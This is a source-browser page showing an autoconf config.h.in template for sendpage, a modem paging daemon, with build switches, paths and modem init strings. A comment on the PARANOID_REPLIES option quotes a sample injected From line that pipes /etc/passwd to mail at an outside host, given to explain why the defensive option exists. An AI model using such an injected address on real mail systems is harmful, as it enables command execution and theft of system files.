File: config.h.in

package info (click to toggle)
sendpage 0.8.6.1-2
  • links: PTS
  • area: main
  • in suites: woody
  • size: 632 kB
  • ctags: 349
  • sloc: ansic: 5,238; sh: 241; makefile: 110; awk: 2
file content (229 lines) | stat: -rw-r--r-- 7,146 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
/* config.h.in.  Generated automatically from configure.in by autoheader.  */

/* Define if you don't have vprintf but do have _doprnt.  */
#undef HAVE_DOPRNT

/* Define if you have <sys/wait.h> that is POSIX.1 compatible.  */
#undef HAVE_SYS_WAIT_H

/* Define if you have the vprintf function.  */
#undef HAVE_VPRINTF

/* Define to `int' if <sys/types.h> doesn't define.  */
#undef pid_t

/* Define as the return type of signal handlers (int or void).  */
#undef RETSIGTYPE

/* Define if you have the ANSI C header files.  */
#undef STDC_HEADERS

/* Define if your <sys/time.h> declares struct tm.  */
#undef TM_IN_SYS_TIME

/* do you have SYSLOG? */
#undef HAVE_SYSLOG

/* have the db 1.85 compatibility header? */
#undef HAVE_DB_185_H

/* where to find sendmail on your system */
#undef PATH_SENDMAIL

/* where to put the sendpage queues */
#undef PATH_QUEUE

/* do we have to fake "_POSIX_SOURCE"? */
#undef FAKE_POSIX_SOURCE

/* where to put the sendpage .cf file on your system */
#undef PATH_SENDPAGE_CONFIG

/* where to put the sendpage PID file on your system */
#undef PATH_SENDPAGE_PIDFILE

/* what to name the front of your sendpage queue files */
#undef QUEUE_HEAD

/* what user sendpage should run with */
#undef SENDPAGE_USER

/* what group sendpage should run with */
#undef SENDPAGE_GROUP

/* what perms sendpage should run with */
#undef SENDPAGE_PERMISSIONS

/* how long in seconds to wait between queue runs if the queue is not empty 
   ie, the modem was busy so the queue run failed how long should it wait
   to retry */
#undef QUEUE_RUNTIME

/* how long in seconds to wait between queue runs if the queue is empty.
   if normally invoking the client with the -i option this value
   can be set high (300) since it's just redundant.  If not using the -i
   option a lower setting, like 30 is recommended. */
#undef QUEUE_CHECKTIME

/* how long to wait for output from a pipe style alias */
#undef PIPE_READ_SECONDS

/* a few extra lines in the e-mail response */
#undef VERBOSE_MAIL_REPLY

/* use a less strict lookup table for the pet protocol, this shouldn't
   hurt anything */
#undef PET_LESS_STRICT_LOOKUP

/* Use this value as the default maximum length of a page message if
        neither your "pc" or "profile" defines a maxMsgSize. */
#undef DEFAULT_MAX_PAGELEN

/* define this to ignore reply addresses with | or / in them.  Both
 * these characters will be interpreted by sendmail, and could allow
 * for anyone to run arbitrary programs by setting their From line
 * to something like "|cat /etc/passwd | mail me
my.home.com"
 *
 * sendmail 8.6.10 _seems_ to be able prevent this by not accepting
 * From lines like this.  Other versions of sendmail do.
 *
 * The bad side is people with strange-o X.400 e-mail addresses
 * won't be able to use sendpage. */
#undef PARANOID_REPLIES

/* try to get modems attention with DTR toggle? */
#undef TOGGLE_DTR

/* send +++ to modem after DTR toggle? */
#undef SEND_MODEM_PLUS

/* after modem init string does modem return numeric or verbose */
#undef WAIT_WORD

/* include the Remedy ARSystem notifier client gateway? */
#undef ARSYSTEM_NOTIFIER

/* If the paging central server seems to drop carrier if you attempt to
   negotiate a connection too quickly, then define the following. */
#undef SLOW_PAGING_CENTRAL

/* what syslog facility should be used to log stuff? */
#define LOG_SENDPAGE LOG_LOCAL5

/* enable uucp style locking?  Doing this requires you to have sendpage
run setuid uucp, or whatever needs to read/write to the TTY_LOCKDIR
directory. Please be careful with this.  I don't think there are any
security problems with sendpage, but if there were having sendpage setuid
uucp could potentially compromise the uucp account.  uucp may indirectly
be a root account (look for things like a root crontab running uucp
owned accounting scripts)
*/
#define UUCP_LOCKING 1
#define TTY_LOCKDIR "/var/lock/"

/* what device should be used for the modem? */
#define MODEM_DEV "$sendpage_cv_pager_modem"
/* #define MODEM_DEV "/dev/ttyS0" *//* Linux also */
/* #define MODEM_DEV "/dev/ttyb" *//* Default */
/* #define MODEM_DEV "/dev/ttyh0"    *//* Sun ALM-II */
/* #define MODEM_DEV "/dev/tty00" *//* HP/UX */
/* #define MODEM_DEV "/dev/modem" *//* Linux */
/* #define MODEM_DEV "/dev/cua/b" *//* Solaris */

/* &F restore factory default
 * &C1 DCD tracks carrier of remote modem
 * &D1 return to command state on DTR transition
 * E inhibit command echo
 * L3 high speaker volume
 * M1 turn speaker off when modem is receiving remote carrier
 * Q enable result codes
 * V result codes are numbers
 * X4 full result codes
 * H hangup
*/
/* Note: Interesting "gotcha": since the modem may be in echo mode when the
        following string is sent, and since the code expects "0\r" as the ack,
        do NOT end the following string with a "0". */
#define MODEM_INIT "$sendpage_cv_modem_init"
/* #define MODEM_INIT "ATVX4HS7=120EQ" *//* Simple */
/* #define MODEM_INIT "ATEQVX4L1HS7=120S11=55" *//* Simple + Shorter DTMF */
/* #define MODEM_INIT "ATEQVX2L1HS7=120S11=55" *//* no busy signal detection */
/* #define MODEM_INIT "AT&FE0&C1&D1L1M1Q0V0H0X4"  *//* GVC 14.4K complete */
/* #define MODEM_INIT "at&F&C1&D1EL3M1QVX4H" *//**/
/* #define MODEM_INIT "at&F&C1&D1EL3M1QVX4H" *//* MultiModem V32 */

/* Define if you have the dbopen function.  */
#undef HAVE_DBOPEN

/* Define if you have the memcpy function.  */
#undef HAVE_MEMCPY

/* Define if you have the mkstemp function.  */
#undef HAVE_MKSTEMP

/* Define if you have the sigaction function.  */
#undef HAVE_SIGACTION

/* Define if you have the strerror function.  */
#undef HAVE_STRERROR

/* Define if you have the strstr function.  */
#undef HAVE_STRSTR

/* Define if you have the syslog function.  */
#undef HAVE_SYSLOG

/* Define if you have the <db.h> header file.  */
#undef HAVE_DB_H

/* Define if you have the <db_185.h> header file.  */
#undef HAVE_DB_185_H

/* Define if you have the <dirent.h> header file.  */
#undef HAVE_DIRENT_H

/* Define if you have the <errno.h> header file.  */
#undef HAVE_ERRNO_H

/* Define if you have the <fcntl.h> header file.  */
#undef HAVE_FCNTL_H

/* Define if you have the <limits.h> header file.  */
#undef HAVE_LIMITS_H

/* Define if you have the <malloc.h> header file.  */
#undef HAVE_MALLOC_H

/* Define if you have the <ndir.h> header file.  */
#undef HAVE_NDIR_H

/* Define if you have the <signal.h> header file.  */
#undef HAVE_SIGNAL_H

/* Define if you have the <sys/dir.h> header file.  */
#undef HAVE_SYS_DIR_H

/* Define if you have the <sys/ioctl.h> header file.  */
#undef HAVE_SYS_IOCTL_H

/* Define if you have the <sys/modem.h> header file.  */
#undef HAVE_SYS_MODEM_H

/* Define if you have the <sys/ndir.h> header file.  */
#undef HAVE_SYS_NDIR_H

/* Define if you have the <sys/param.h> header file.  */
#undef HAVE_SYS_PARAM_H

/* Define if you have the <sys/time.h> header file.  */
#undef HAVE_SYS_TIME_H

/* Define if you have the <syslog.h> header file.  */
#undef HAVE_SYSLOG_H

/* Define if you have the <termios.h> header file.  */
#undef HAVE_TERMIOS_H

/* Define if you have the <unistd.h> header file.  */
#undef HAVE_UNISTD_H